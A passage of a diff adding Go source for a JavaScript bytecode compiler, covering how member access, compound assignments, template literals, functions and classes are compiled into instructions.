e.c.emit(setPropP(e.name)) + } + } else { + if !postfix { + e.left.emitGetter(true) + e.c.emit(dup) + e.c.emit(getProp(e.name)) + if prepare != nil { + prepare() + } + body() + e.addSrcMap() + if e.c.scope.strict { + e.c.emit(setPropStrict(e.name)) + } else { + e.c.emit(setProp(e.name)) + } + } else { + e.c.emit(loadUndef) + e.left.emitGetter(true) + e.c.emit(dup) + e.c.emit(getProp(e.name)) + if prepare != nil { + prepare() + } + e.c.emit(rdupN(2)) + body() + e.addSrcMap() + if e.c.scope.strict { + e.c.emit(setPropStrictP(e.name)) + } else { + e.c.emit(setPropP(e.name)) + } + } + } +} + +func (e *compiledDotExpr) emitDelete(putOnStack bool) { + e.left.emitGetter(true) + e.addSrcMap() + if e.c.scope.strict { + e.c.emit(deletePropStrict(e.name)) + } else { + e.c.emit(deleteProp(e.name)) + } + if !putOnStack { + e.c.emit(pop) + } +} + +func (e *compiledBracketExpr) emitGetter(putOnStack bool) { + e.left.emitGetter(true) + e.member.emitGetter(true) + e.addSrcMap() + e.c.emit(getElem) + if !putOnStack { + e.c.emit(pop) + } +} + +func (e *compiledBracketExpr) emitRef() { + e.left.emitGetter(true) + e.member.emitGetter(true) + if e.c.scope.strict { + e.c.emit(getElemRefStrict) + } else { + e.c.emit(getElemRef) + } +} + +func (e *compiledBracketExpr) emitSetter(valueExpr compiledExpr, putOnStack bool) { + e.left.emitGetter(true) + e.member.emitGetter(true) + valueExpr.emitGetter(true) + e.addSrcMap() + if e.c.scope.strict { + if putOnStack { + e.c.emit(setElemStrict) + } else { + e.c.emit(setElemStrictP) + } + } else { + if putOnStack { + e.c.emit(setElem) + } else { + e.c.emit(setElemP) + } + } +} + +func (e *compiledBracketExpr) emitUnary(prepare, body func(), postfix, putOnStack bool) { + if !putOnStack { + e.left.emitGetter(true) + e.member.emitGetter(true) + e.c.emit(dupLast(2), getElem) + body() + e.addSrcMap() + if e.c.scope.strict { + e.c.emit(setElemStrict, pop) + } else { + e.c.emit(setElem, pop) + } + } else { + if !postfix { + e.left.emitGetter(true) + e.member.emitGetter(true) + e.c.emit(dupLast(2), getElem) + if prepare != nil { + prepare() + } + body() + e.addSrcMap() + if e.c.scope.strict { + e.c.emit(setElemStrict) + } else { + e.c.emit(setElem) + } + } else { + e.c.emit(loadUndef) + e.left.emitGetter(true) + e.member.emitGetter(true) + e.c.emit(dupLast(2), getElem) + if prepare != nil { + prepare() + } + e.c.emit(rdupN(3)) + body() + e.addSrcMap() + if e.c.scope.strict { + e.c.emit(setElemStrict, pop) + } else { + e.c.emit(setElem, pop) + } + } + } +} + +func (e *compiledBracketExpr) emitDelete(putOnStack bool) { + e.left.emitGetter(true) + e.member.emitGetter(true) + e.addSrcMap() + if e.c.scope.strict { + e.c.emit(deleteElemStrict) + } else { + e.c.emit(deleteElem) + } + if !putOnStack { + e.c.emit(pop) + } +} + +func (e *compiledAssignExpr) emitGetter(putOnStack bool) { + switch e.operator { + case token.ASSIGN: + e.left.emitSetter(e.right, putOnStack) + case token.PLUS: + e.left.emitUnary(nil, func() { + e.right.emitGetter(true) + e.c.emit(add) + }, false, putOnStack) + case token.MINUS: + e.left.emitUnary(nil, func() { + e.right.emitGetter(true) + e.c.emit(sub) + }, false, putOnStack) + case token.MULTIPLY: + e.left.emitUnary(nil, func() { + e.right.emitGetter(true) + e.c.emit(mul) + }, false, putOnStack) + case token.EXPONENT: + e.left.emitUnary(nil, func() { + e.right.emitGetter(true) + e.c.emit(exp) + }, false, putOnStack) + case token.SLASH: + e.left.emitUnary(nil, func() { + e.right.emitGetter(true) + e.c.emit(div) + }, false, putOnStack) + case token.REMAINDER: + e.left.emitUnary(nil, func() { + e.right.emitGetter(true) + e.c.emit(mod) + }, false, putOnStack) + case token.OR: + e.left.emitUnary(nil, func() { + e.right.emitGetter(true) + e.c.emit(or) + }, false, putOnStack) + case token.AND: + e.left.emitUnary(nil, func() { + e.right.emitGetter(true) + e.c.emit(and) + }, false, putOnStack) + case token.EXCLUSIVE_OR: + e.left.emitUnary(nil, func() { + e.right.emitGetter(true) + e.c.emit(xor) + }, false, putOnStack) + case token.SHIFT_LEFT: + e.left.emitUnary(nil, func() { + e.right.emitGetter(true) + e.c.emit(sal) + }, false, putOnStack) + case token.SHIFT_RIGHT: + e.left.emitUnary(nil, func() { + e.right.emitGetter(true) + e.c.emit(sar) + }, false, putOnStack) + case token.UNSIGNED_SHIFT_RIGHT: + e.left.emitUnary(nil, func() { + e.right.emitGetter(true) + e.c.emit(shr) + }, false, putOnStack) + case token.LOGICAL_AND, token.LOGICAL_OR, token.COALESCE: + e.left.emitRef() + e.c.emit(getValue) + mark := len(e.c.p.code) + e.c.emit(nil) + if id, ok := e.left.(*compiledIdentifierExpr); ok { + e.c.emitNamedOrConst(e.right, id.name) + } else { + e.right.emitGetter(true) + } + if putOnStack { + e.c.emit(putValue) + } else { + e.c.emit(putValueP) + } + e.c.emit(jump(2)) + offset := len(e.c.p.code) - mark + switch e.operator { + case token.LOGICAL_AND: + if putOnStack { + e.c.p.code[mark] = jne(offset) + } else { + e.c.p.code[mark] = jneP(offset) + } + case token.LOGICAL_OR: + if putOnStack { + e.c.p.code[mark] = jeq(offset) + } else { + e.c.p.code[mark] = jeqP(offset) + } + case token.COALESCE: + if putOnStack { + e.c.p.code[mark] = jcoalesc(offset) + } else { + e.c.p.code[mark] = jcoalescP(offset) + } + } + e.c.emit(popRef) + default: + e.c.assert(false, e.offset, "Unknown assign operator: %s", e.operator.String()) + panic("unreachable") + } +} + +func (e *compiledLiteral) emitGetter(putOnStack bool) { + if putOnStack { + e.c.emitLiteralValue(e.val) + } +} + +func (e *compiledLiteral) constant() bool { + return true +} + +func (e *compiledTemplateLiteral) emitGetter(putOnStack bool) { + if e.tag == nil { + if len(e.elements) == 0 { + e.c.emitLiteralString(stringEmpty) + } else { + tail := e.elements[len(e.elements)-1].Parsed + if len(e.elements) == 1 { + e.c.emitLiteralString(stringValueFromRaw(tail)) + } else { + stringCount := 0 + if head := e.elements[0].Parsed; head != "" { + e.c.emitLiteralString(stringValueFromRaw(head)) + stringCount++ + } + e.expressions[0].emitGetter(true) + e.c.emit(_toString{}) + stringCount++ + for i := 1; i < len(e.elements)-1; i++ { + if elt := e.elements[i].Parsed; elt != "" { + e.c.emitLiteralString(stringValueFromRaw(elt)) + stringCount++ + } + e.expressions[i].emitGetter(true) + e.c.emit(_toString{}) + stringCount++ + } + if tail != "" { + e.c.emitLiteralString(stringValueFromRaw(tail)) + stringCount++ + } + e.c.emit(concatStrings(stringCount)) + } + } + } else { + cooked := make([]Value, len(e.elements)) + raw := make([]Value, len(e.elements)) + for i, elt := range e.elements { + raw[i] = &valueProperty{ + enumerable: true, + value: newStringValue(elt.Literal), + } + var cookedVal Value + if elt.Valid { + cookedVal = stringValueFromRaw(elt.Parsed) + } else { + cookedVal = _undefined + } + cooked[i] = &valueProperty{ + enumerable: true, + value: cookedVal, + } + } + e.c.emitCallee(e.tag) + e.c.emit(&getTaggedTmplObject{ + raw: raw, + cooked: cooked, + }) + for _, expr := range e.expressions { + expr.emitGetter(true) + } + e.c.emit(call(len(e.expressions) + 1)) + } + if !putOnStack { + e.c.emit(pop) + } +} + +func (c *compiler) compileParameterBindingIdentifier(name unistring.String, offset int) (*binding, bool) { + if c.scope.strict { + c.checkIdentifierName(name, offset) + c.checkIdentifierLName(name, offset) + } + return c.scope.bindNameShadow(name) +} + +func (c *compiler) compileParameterPatternIdBinding(name unistring.String, offset int) { + if _, unique := c.compileParameterBindingIdentifier(name, offset); !unique { + c.throwSyntaxError(offset, "Duplicate parameter name not allowed in this context") + } +} + +func (c *compiler) compileParameterPatternBinding(item ast.Expression) { + c.createBindings(item, c.compileParameterPatternIdBinding) +} + +func (c *compiler) newCode(length, minCap int) (buf []instruction) { + if c.codeScratchpad != nil { + buf = c.codeScratchpad + c.codeScratchpad = nil + } + if cap(buf) < minCap { + buf = make([]instruction, length, minCap) + } else { + buf = buf[:length] + } + return +} + +func (e *compiledFunctionLiteral) compile() (prg *Program, name unistring.String, length int, strict bool) { + e.c.assert(e.typ != funcNone, e.offset, "compiledFunctionLiteral.typ is not set") + + savedPrg := e.c.p + preambleLen := 8 // enter, boxThis, loadStack(0), initThis, createArgs, set, loadCallee, init + e.c.p = &Program{ + src: e.c.p.src, + code: e.c.newCode(preambleLen, 16), + srcMap: []srcMapItem{{srcPos: e.offset}}, + } + e.c.newScope() + s := e.c.scope + s.funcType = e.typ + + if e.name != nil { + name = e.name.Name + } else { + name = e.lhsName + } + + if name != "" { + e.c.p.funcName = name + } + savedBlock := e.c.block + defer func() { + e.c.block = savedBlock + }() + + e.c.block = &block{ + typ: blockScope, + } + + if !s.strict { + s.strict = e.strict != nil + } + + hasPatterns := false + hasInits := false + firstDupIdx := -1 + + if e.parameterList.Rest != nil { + hasPatterns = true // strictly speaking not, but we need to activate all the checks + } + + // First, make sure that the first bindings correspond to the formal parameters + for _, item := range e.parameterList.List { + switch tgt := item.Target.(type) { + case *ast.Identifier: + offset := int(tgt.Idx) - 1 + b, unique := e.c.compileParameterBindingIdentifier(tgt.Name, offset) + if !unique { + firstDupIdx = offset + } + b.isArg = true + case ast.Pattern: + b := s.addBinding(int(item.Idx0()) - 1) + b.isArg = true + hasPatterns = true + default: + e.c.throwSyntaxError(int(item.Idx0())-1, "Unsupported BindingElement type: %T", item) + return + } + if item.Initializer != nil { + hasInits = true + } + + if firstDupIdx >= 0 && (hasPatterns || hasInits || s.strict || e.typ == funcArrow || e.typ == funcMethod) { + e.c.throwSyntaxError(firstDupIdx, "Duplicate parameter name not allowed in this context") + return + } + + if (hasPatterns || hasInits) && e.strict != nil { + e.c.throwSyntaxError(int(e.strict.Idx)-1, "Illegal 'use strict' directive in function with non-simple parameter list") + return + } + + if !hasInits { + length++ + } + } + + var thisBinding *binding + if e.typ != funcArrow { + thisBinding = s.createThisBinding() + } + + // create pattern bindings + if hasPatterns { + for _, item := range e.parameterList.List { + switch tgt := item.Target.(type) { + case *ast.Identifier: + // we already created those in the previous loop, skipping + default: + e.c.compileParameterPatternBinding(tgt) + } + } + if rest := e.parameterList.Rest; rest != nil { + e.c.compileParameterPatternBinding(rest) + } + } + + paramsCount := len(e.parameterList.List) + + s.numArgs = paramsCount + body := e.body + funcs := e.c.extractFunctions(body) + var calleeBinding *binding + + emitArgsRestMark := -1 + firstForwardRef := -1 + enterFunc2Mark := -1 + + if hasPatterns || hasInits { + if e.isExpr && e.name != nil { + if b, created := s.bindNameLexical(e.name.Name, false, 0); created { + b.isConst = true + calleeBinding = b + } + } + for i, item := range e.parameterList.List { + if pattern, ok := item.Target.(ast.Pattern); ok { + i := i + e.c.compilePatternInitExpr(func() { + if firstForwardRef == -1 { + s.bindings[i].emitGet() + } else { + e.c.emit(loadStackLex(-i - 1)) + } + }, item.Initializer, item.Target.Idx0()).emitGetter(true) + e.c.emitPattern(pattern, func(target, init compiledExpr) { + e.c.emitPatternLexicalAssign(target, init) + }, false) + } else if item.Initializer != nil { + markGet := len(e.c.p.code) + e.c.emit(nil) + mark := len(e.c.p.code) + e.c.emit(nil) + e.c.emitExpr(e.c.compileExpression(item.Initializer), true) + if firstForwardRef == -1 && (s.isDynamic() || s.bindings[i].useCount() > 0) { + firstForwardRef = i + } + if firstForwardRef == -1 { + s.bindings[i].emitGetAt(markGet) + } else { + e.c.p.code[markGet] = loadStackLex(-i - 1) + } + s.bindings[i].emitInitP() + e.c.p.code[mark] = jdefP(len(e.c.p.code) - mark) + } else { + if firstForwardRef == -1 && s.bindings[i].useCount() > 0 { + firstForwardRef = i + } + if firstForwardRef != -1 { + e.c.emit(loadStackLex(-i - 1)) + s.bindings[i].emitInitP() + } + } + } + if rest := e.parameterList.Rest; rest != nil { + e.c.emitAssign(rest, e.c.compileEmitterExpr( + func() { + emitArgsRestMark = len(e.c.p.code) + e.c.emit(createArgsRestStack(paramsCount)) + }, rest.Idx0()), + func(target, init compiledExpr) { + e.c.emitPatternLexicalAssign(target, init) + }) + } + if firstForwardRef != -1 { + for _, b := range s.bindings { + b.inStash = true + } + s.argsInStash = true + s.needStash = true + } + + e.c.newBlockScope() + varScope := e.c.scope + varScope.variable = true + enterFunc2Mark = len(e.c.p.code) + e.c.emit(nil) + e.c.compileDeclList(e.declarationList, false) + e.c.createFunctionBindings(funcs) + e.c.compileLexicalDeclarationsFuncBody(body, calleeBinding) + for _, b := range varScope.bindings { + if b.isVar { + if parentBinding := s.boundNames[b.name]; parentBinding != nil && parentBinding != calleeBinding { + parentBinding.emitGet() + b.emitSetP() + } + } + } + } else { + // To avoid triggering variable conflict when binding from non-strict direct eval(). + // Parameters are supposed to be in a parent scope, hence no conflict. + for _, b := range s.bindings[:paramsCount] { + b.isVar = true + } + e.c.compileDeclList(e.declarationList, true) + e.c.createFunctionBindings(funcs) + e.c.compileLexicalDeclarations(body, true) + if e.isExpr && e.name != nil { + if b, created := s.bindNameLexical(e.name.Name, false, 0); created { + b.isConst = true + calleeBinding = b + } + } + if calleeBinding != nil { + e.c.emit(loadCallee) + calleeBinding.emitInitP() + } + } + + e.c.compileFunctions(funcs) + if e.isGenerator { + e.c.emit(yieldEmpty) + } + e.c.compileStatements(body, false) + + var last ast.Statement + if l := len(body); l > 0 { + last = body[l-1] + } + if _, ok := last.(*ast.ReturnStatement); !ok { + if e.typ == funcDerivedCtor { + e.c.emit(loadUndef) + thisBinding.markAccessPoint() + e.c.emit(ret) + } else { + e.c.emit(loadUndef, ret) + } + } + + delta := 0 + code := e.c.p.code + + if s.isDynamic() && !s.argsInStash { + s.moveArgsToStash() + } + + if s.argsNeeded || s.isDynamic() && e.typ != funcArrow && e.typ != funcClsInit { + if e.typ == funcClsInit { + e.c.throwSyntaxError(e.offset, "'arguments' is not allowed in class field initializer or static initialization block") + } + b, created := s.bindNameLexical("arguments", false, 0) + if created || b.isVar { + if !s.argsInStash { + s.moveArgsToStash() + } + if s.strict { + b.isConst = true + } else { + b.isVar = e.c.scope.isFunction() + } + pos := preambleLen - 2 + delta += 2 + if s.strict || hasPatterns || hasInits { + code[pos] = createArgsUnmapped(paramsCount) + } else { + code[pos] = createArgsMapped(paramsCount) + } + pos++ + b.emitInitPAtScope(s, pos) + } + } + + if calleeBinding != nil { + if !s.isDynamic() && calleeBinding.useCount() == 0 { + s.deleteBinding(calleeBinding) + calleeBinding = nil + } else { + delta++ + calleeBinding.emitInitPAtScope(s, preambleLen-delta) + delta++ + code[preambleLen-delta] = loadCallee + } + } + + needInitThis := false + if thisBinding != nil { + if !s.isDynamic() && thisBinding.useCount() == 0 { + s.deleteBinding(thisBinding) + thisBinding = nil + } else { + if thisBinding.inStash || s.isDynamic() { + delta++ + thisBinding.emitInitAtScope(s, preambleLen-delta) + needInitThis = true + } + } + } + + stashSize, stackSize := s.finaliseVarAlloc(0) + + if needInitThis && (!s.argsInStash || firstForwardRef != -1 || stackSize > 0) { + code[preambleLen-delta] = initStashP(code[preambleLen-delta].(initStash)) + delta++ + code[preambleLen-delta] = loadStack(0) + } // otherwise, 'this' will be at stack[sp-1], no need to load + + if !s.strict && thisBinding != nil { + delta++ + code[preambleLen-delta] = boxThis + } + delta++ + delta = preambleLen - delta + var enter instruction + if stashSize > 0 || s.argsInStash { + if firstForwardRef == -1 { + enter1 := enterFunc{ + numArgs: uint32(paramsCount), + argsToStash: s.argsInStash, + stashSize: uint32(stashSize), + stackSize: uint32(stackSize), + extensible: s.dynamic, + funcType: e.typ, + } + if s.isDynamic() { + enter1.names = s.makeNamesMap() + } + enter = &enter1 + if enterFunc2Mark != -1 { + ef2 := &enterFuncBody{ + extensible: e.c.scope.dynamic, + funcType: e.typ, + } + e.c.updateEnterBlock(&ef2.enterBlock) + e.c.p.code[enterFunc2Mark] = ef2 + } + } else { + enter1 := enterFunc1{ + stashSize: uint32(stashSize), + numArgs: uint32(paramsCount), + argsToCopy: uint32(firstForwardRef), + extensible: s.dynamic, + funcType: e.typ, + } + if s.isDynamic() { + enter1.names = s.makeNamesMap() + } + enter = &enter1 + if enterFunc2Mark != -1 { + ef2 := &enterFuncBody{ + adjustStack: true, + extensible: e.c.scope.dynamic, + funcType: e.typ, + } + e.c.updateEnterBlock(&ef2.enterBlock) + e.c.p.code[enterFunc2Mark] = ef2 + } + } + if emitArgsRestMark != -1 && s.argsInStash { + e.c.p.code[emitArgsRestMark] = createArgsRestStash + } + } else { + enter = &enterFuncStashless{ + stackSize: uint32(stackSize), + args: uint32(paramsCount), + } + if enterFunc2Mark != -1 { + ef2 := &enterFuncBody{ + extensible: e.c.scope.dynamic, + funcType: e.typ, + } + e.c.updateEnterBlock(&ef2.enterBlock) + e.c.p.code[enterFunc2Mark] = ef2 + } + } + code[delta] = enter + e.c.p.srcMap[0].pc = delta + s.trimCode(delta) + + strict = s.strict + prg = e.c.p + // e.c.p.dumpCode() + if enterFunc2Mark != -1 { + e.c.popScope() + } + e.c.popScope() + e.c.p = savedPrg + + return +} + +func (e *compiledFunctionLiteral) emitGetter(putOnStack bool) { + p, name, length, strict := e.compile() + switch e.typ { + case funcArrow: + if e.isAsync { + e.c.emit(&newAsyncArrowFunc{newArrowFunc: newArrowFunc{newFunc: newFunc{prg: p, length: length, name: name, source: e.source, strict: strict}}}) + } else { + e.c.emit(&newArrowFunc{newFunc: newFunc{prg: p, length: length, name: name, source: e.source, strict: strict}}) + } + case funcMethod, funcClsInit: + if e.isAsync { + e.c.emit(&newAsyncMethod{newMethod: newMethod{newFunc: newFunc{prg: p, length: length, name: name, source: e.source, strict: strict}, homeObjOffset: e.homeObjOffset}}) + } else { + if e.isGenerator { + e.c.emit(&newGeneratorMethod{newMethod: newMethod{newFunc: newFunc{prg: p, length: length, name: name, source: e.source, strict: strict}, homeObjOffset: e.homeObjOffset}}) + } else { + e.c.emit(&newMethod{newFunc: newFunc{prg: p, length: length, name: name, source: e.source, strict: strict}, homeObjOffset: e.homeObjOffset}) + } + } + case funcRegular: + if e.isAsync { + e.c.emit(&newAsyncFunc{newFunc: newFunc{prg: p, length: length, name: name, source: e.source, strict: strict}}) + } else { + if e.isGenerator { + e.c.emit(&newGeneratorFunc{newFunc: newFunc{prg: p, length: length, name: name, source: e.source, strict: strict}}) + } else { + e.c.emit(&newFunc{prg: p, length: length, name: name, source: e.source, strict: strict}) + } + } + default: + e.c.throwSyntaxError(e.offset, "Unsupported func type: %v", e.typ) + } + if !putOnStack { + e.c.emit(pop) + } +} + +func (c *compiler) compileFunctionLiteral(v *ast.FunctionLiteral, isExpr bool) *compiledFunctionLiteral { + strictBody := c.isStrictStatement(v.Body) + if v.Name != nil && (c.scope.strict || strictBody != nil) { + c.checkIdentifierName(v.Name.Name, int(v.Name.Idx)-1) + c.checkIdentifierLName(v.Name.Name, int(v.Name.Idx)-1) + } + if v.Async && v.Generator { + c.throwSyntaxError(int(v.Function)-1, "Async generators are not supported yet") + } + r := &compiledFunctionLiteral{ + name: v.Name, + parameterList: v.ParameterList, + body: v.Body.List, + source: v.Source, + declarationList: v.DeclarationList, + isExpr: isExpr, + typ: funcRegular, + strict: strictBody, + isAsync: v.Async, + isGenerator: v.Generator, + } + r.init(c, v.Idx0()) + return r +} + +type compiledClassLiteral struct { + baseCompiledExpr + name *ast.Identifier + superClass compiledExpr + body []ast.ClassElement + lhsName unistring.String + source string + isExpr bool +} + +func (c *compiler) processKey(expr ast.Expression) (val unistring.String, computed bool) { + keyExpr := c.compileExpression(expr) + if keyExpr.constant() { + v, ex := c.evalConst(keyExpr) + if ex == nil { + return v.string(), false + } + } + keyExpr.emitGetter(true) + computed = true + return +} + +func (e *compiledClassLiteral) processClassKey(expr ast.Expression) (privateName *privateName, key unistring.String, computed bool) { + if p, ok := expr.(*ast.PrivateIdentifier); ok { + privateName = e.c.classScope.getDeclaredPrivateId(p.Name) + key = privateIdString(p.Name) + return + } + key, computed = e.c.processKey(expr) + return +} + +type clsElement struct { + key unistring.String + privateName *privateName + initializer compiledExpr + body *compiledFunctionLiteral + computed bool +} + +func (e *compiledClassLiteral) emitGetter(putOnStack bool) { + e.c.newBlockScope() + s := e.c.scope + s.strict = true + + enter := &enterBlock{} + mark0 := len(e.c.p.code) + e.c.emit(enter) + e.c.block = &block{ + typ: blockScope, + outer: e.c.block, + } + var clsBinding *binding + var clsName unistring.String + if name := e.name; name != nil { + clsName = name.Name + clsBinding = e.c.createLexicalIdBinding(clsName, true, int(name.Idx)-1) + } else { + clsName = e.lhsName + } + + var ctorMethod *ast.MethodDefinition + ctorMethodIdx := -1 + staticsCount := 0 + instanceFieldsCount := 0 + hasStaticPrivateMethods := false + cs := &classScope{ + c: e.c, + outer: e.c.classScope, + } + + for idx, elt := range e.body { + switch elt := elt.(type) { + case *ast.ClassStaticBlock: + if len(elt.Block.List) > 0 { + staticsCount++ + } + case *ast.FieldDefinition: + if id, ok := elt.Key.(*ast.PrivateIdentifier); ok { + cs.declarePrivateId(id.Name, ast.PropertyKindValue, elt.Static, int(elt.Idx)-1) + } + if elt.Static { + staticsCount++ + } else { + instanceFieldsCount++ + } + case *ast.MethodDefinition: + if !elt.Static { + if id, ok := elt.Key.(*ast.StringLiteral); ok { + if !elt.Computed && id.Value == "constructor" { + if ctorMethod != nil { + e.c.throwSyntaxError(int(id.Idx)-1, "A class may only have one constructor") + } + ctorMethod = elt + ctorMethodIdx = idx + continue + } + } + } + if id, ok := elt.Key.(*ast.PrivateIdentifier); ok { + cs.declarePrivateId(id.Name, elt.Kind, elt.Static, int(elt.Idx)-1) + if elt.Static { + hasStaticPrivateMethods = true + } + } + default: + e.c.assert(false, int(elt.Idx0())-1, "Unsupported static element: %T", elt) + } + } + + var staticInit *newStaticFieldInit + if staticsCount > 0 || hasStaticPrivateMethods { + staticInit = &newStaticFieldInit{} + e.c.emit(staticInit) + } + + var derived bool + var newClassIns *newClass + if superClass := e.superClass; superClass != nil { + derived = true + superClass.emitGetter(true) + ndc := &newDerivedClass{ + newClass: newClass{ + name: clsName, + source: e.source, + }, + } + e.addSrcMap() + e.c.emit(ndc) + newClassIns = &ndc.newClass + } else { + newClassIns = &newClass{ + name: clsName, + source: e.source, + } + e.addSrcMap() + e.c.emit(newClassIns) + } + + e.c.classScope = cs + + if ctorMethod != nil { + newClassIns.ctor, newClassIns.length = e.c.compileCtor(ctorMethod.Body, derived) + } + + curIsPrototype := false + + instanceFields := make([]clsElement, 0, instanceFieldsCount) + staticElements := make([]clsElement, 0, staticsCount) + + // stack at this point: + // + // staticFieldInit (if staticsCount > 0 || hasStaticPrivateMethods) + // prototype + // class function + // <- sp + + for idx, elt := range e.body { + if idx == ctorMethodIdx { + continue + } + switch elt := elt.(type) { + case *ast.ClassStaticBlock: + if len(elt.Block.List) > 0 { + f := e.c.compileFunctionLiteral(&ast.FunctionLiteral{ + Function: elt.Idx0(), + ParameterList: &ast.ParameterList{}, + Body: elt.Block, + Source: elt.Source, + DeclarationList: elt.DeclarationList, + }, true) + f.typ = funcClsInit + //f.lhsName = "" + f.homeObjOffset = 1 + staticElements = append(staticElements, clsElement{ + body: f, + }) + } + case *ast.FieldDefinition: + privateName, key, computed := e.processClassKey(elt.Key) + var el clsElement + if elt.Initializer != nil { + el.initializer = e.c.compileExpression(elt.Initializer) + } + el.computed = computed + if computed { + if elt.Static { + if curIsPrototype { + e.c.emit(defineComputedKey(5)) + } else { + e.c.emit(defineComputedKey(4)) + } + } else { + if curIsPrototype { + e.c.emit(defineComputedKey(3)) + } else { + e.c.emit(defineComputedKey(2)) + } + } + } else { + el.privateName = privateName + el.key = key + } + if elt.Static { + staticElements = append(staticElements, el) + } else { + instanceFields = append(instanceFields, el) + } + case *ast.MethodDefinition: + if elt.Static { + if curIsPrototype { + e.c.emit(pop) + curIsPrototype = false + } + } else { + if !curIsPrototype { + e.c.emit(dupN(1)) + curIsPrototype = true + } + } + privateName, key, computed := e.processClassKey(elt.Key) + lit := e.c.compileFunctionLiteral(elt.Body, true) + lit.typ = funcMethod + if computed { + e.c.emit(_toPropertyKey{}) + lit.homeObjOffset = 2 + } else { + lit.homeObjOffset = 1 + lit.lhsName = key + } + lit.emitGetter(true) + if privateName != nil { + var offset int + if elt.Static { + if curIsPrototype { + /* + staticInit + proto + cls + proto + method + <- sp + */ + offset = 5 + } else { + /* + staticInit + proto + cls + method + <- sp + */ + offset = 4 + } + } else { + if curIsPrototype { + offset = 3 + } else { + offset = 2 + } + } + switch elt.Kind { + case ast.PropertyKindGet: + e.c.emit(&definePrivateGetter{ + definePrivateMethod: definePrivateMethod{ + idx: privateName.idx, + targetOffset: offset, + }, + }) + case ast.PropertyKindSet: + e.c.emit(&definePrivateSetter{ + definePrivateMethod: definePrivateMethod{ + idx: privateName.idx, + targetOffset: offset, + }, + }) + default: + e.c.emit(&definePrivateMethod{ + idx: privateName.idx, + targetOffset: offset, + }) + } + } else if computed { + switch elt.Kind { + case ast.PropertyKindGet: + e.c.emit(&defineGetter{}) + case ast.PropertyKindSet: + e.c.emit(&defineSetter{}) + default: + e.c.emit(&defineMethod{}) + } + } else { + switch elt.Kind { + case ast.PropertyKindGet: + e.c.emit(&defineGetterKeyed{key: key}) + case ast.PropertyKindSet: + e.c.emit(&defineSetterKeyed{key: key}) + default: + e.c.emit(&defineMethodKeyed{key: key}) + } + } + } + } + if curIsPrototype { + e.c.emit(pop) + } + + if len(instanceFields) > 0 { + newClassIns.initFields = e.compileFieldsAndStaticBlocks(instanceFields, "") + } + if staticInit != nil { + if len(staticElements) > 0 { + staticInit.initFields = e.compileFieldsAndStaticBlocks(staticElements, "") + } + } + + env := e.c.classScope.instanceEnv + if s.dynLookup { + newClassIns.privateMethods, newClassIns.privateFields = env.methods, env.fields + } + newClassIns.numPrivateMethods = uint32(len(env.methods)) + newClassIns.numPrivateFields = uint32(len(env.fields)) + newClassIns.hasPrivateEnv = len(e.c.classScope.privateNames) > 0 + + if (clsBinding != nil && clsBinding.useCount() > 0) || s.dynLookup { + if clsBinding != nil { + // Because this block may be in the middle of an expression, its initial stack position + // cannot be known, and therefore it may not have any stack variables. + // Note, because clsBinding would be accessed through a function, it should already be in stash, + // this is just to make sure. + clsBinding.moveToStash() + clsBinding.emitInit() + } + } else { + if clsBinding != nil { + s.deleteBinding(clsBinding) + clsBinding = nil + } + e.c.p.code[mark0] = jump(1) + } + + if staticsCount > 0 || hasStaticPrivateMethods { + ise := &initStaticElements{} + e.c.emit(ise) + env := e.c.classScope.staticEnv + staticInit.numPrivateFields = uint32(len(env.fields)) + staticInit.numPrivateMethods = uint32(len(env.methods)) + if s.dynLookup { + // These cannot be set on staticInit, because it is executed before ClassHeritage, and therefore + // the VM's PrivateEnvironment is still not set. + ise.privateFields = env.fields + ise.privateMethods = env.methods + } + } else { + e.c.emit(endVariadic) // re-using as semantics match + } + + if !putOnStack { + e.c.emit(pop) + } + + if clsBinding != nil || s.dynLookup { + e.c.leaveScopeBlock(enter) + e.c.assert(enter.stackSize == 0, e.offset, "enter.StackSize != 0 in compiledClassLiteral") + } else { + e.c.block = e.c.block.outer + } + if len(e.c.classScope.privateNames) > 0 { + e.c.emit(popPrivateEnv{}) + } + e.c.classScope = e.c.classScope.outer + e.c.popScope() +} + +func (e *compiledClassLiteral) compileFieldsAndStaticBlocks(elements []clsElement, funcName unistring.String) *Program { + savedPrg := e.c.p + savedBlock := e.c.block + defer func() { + e.c.p = savedPrg + e.c.block = savedBlock + }() + + e.c.block = &block{ + typ: blockScope, + } + + e.c.p = &Program{ + src: savedPrg.src, + funcName: funcName, + code: e.c.newCode(2, 16), + } + + e.c.newScope() + s := e.c.scope + s.funcType = funcClsInit + thisBinding := s.createThisBinding() + + valIdx := 0 + for _, elt := range elements { + if elt.body != nil { + e.c.emit(dup) // this + elt.body.emitGetter(true) + elt.body.addSrcMap() + e.c.emit(call(0), pop) + } else { + if elt.computed { + e.c.emit(loadComputedKey(valIdx)) + valIdx++ + } + if init := elt.initializer; init != nil { + if !elt.computed { + e.c.emitNamedOrConst(init, elt.key) + } else { + e.c.emitExpr(init, true) + } + } else { + e.c.emit(loadUndef) + } + if elt.privateName != nil { + e.c.emit(&definePrivateProp{ + idx: elt.privateName.idx, + }) + } else if elt.computed { + e.c.emit(defineProp{}) + } else { + e.c.emit(definePropKeyed(elt.key)) + } + } + } + //e.c.emit(halt) + if s.isDynamic() || thisBinding.useCount() > 0 { + if s.isDynamic() || thisBinding.inStash { + thisBinding.emitInitAt(1) + } + } else { + s.deleteBinding(thisBinding) + } + stashSize, stackSize := s.finaliseVarAlloc(0) + e.c.assert(stackSize == 0, e.offset, "stackSize != 0 in initFields") + if stashSize > 0 { + e.c.assert(stashSize == 1, e.offset, "stashSize != 1 in initFields") + enter := &enterFunc{ + stashSize: 1, + funcType: funcClsInit, + } + if s.dynLookup { + enter.names = s.makeNamesMap() + } + e.c.p.code[0] = enter + s.trimCode(0) + } else { + s.trimCode(2) + } + res := e.c.p + e.c.popScope() + return res +} + +func (c *compiler) compileClassLiteral(v *ast.ClassLiteral, isExpr bool) *compiledClassLiteral { + if v.Name != nil { + c.checkIdentifierLName(v.Name.Name, int(v.Name.Idx)-1) + } + r := &compiledClassLiteral{ + name: v.Name, + superClass: c.compileExpression(v.SuperClass), + body: v.Body, + source: v.Source, + isExpr: isExpr, + } + r.init(c, v.Idx0()) + return r +} + +func (c *compiler) compileCtor(ctor *ast.FunctionLiteral, derived bool) (p *Program, length int) { + f := c.compileFunctionLiteral(ctor, true) + if derived { + f.typ = funcDerivedCtor + } else { + f.typ = funcCtor + } + p, _, length, _ = f.compile() + return +} + +func (c *compiler) compileArrowFunctionLiteral(v *ast.ArrowFunctionLiteral) *compiledFunctionLiteral { + var strictBody *ast.StringLiteral + var body []ast.Statement + switch b 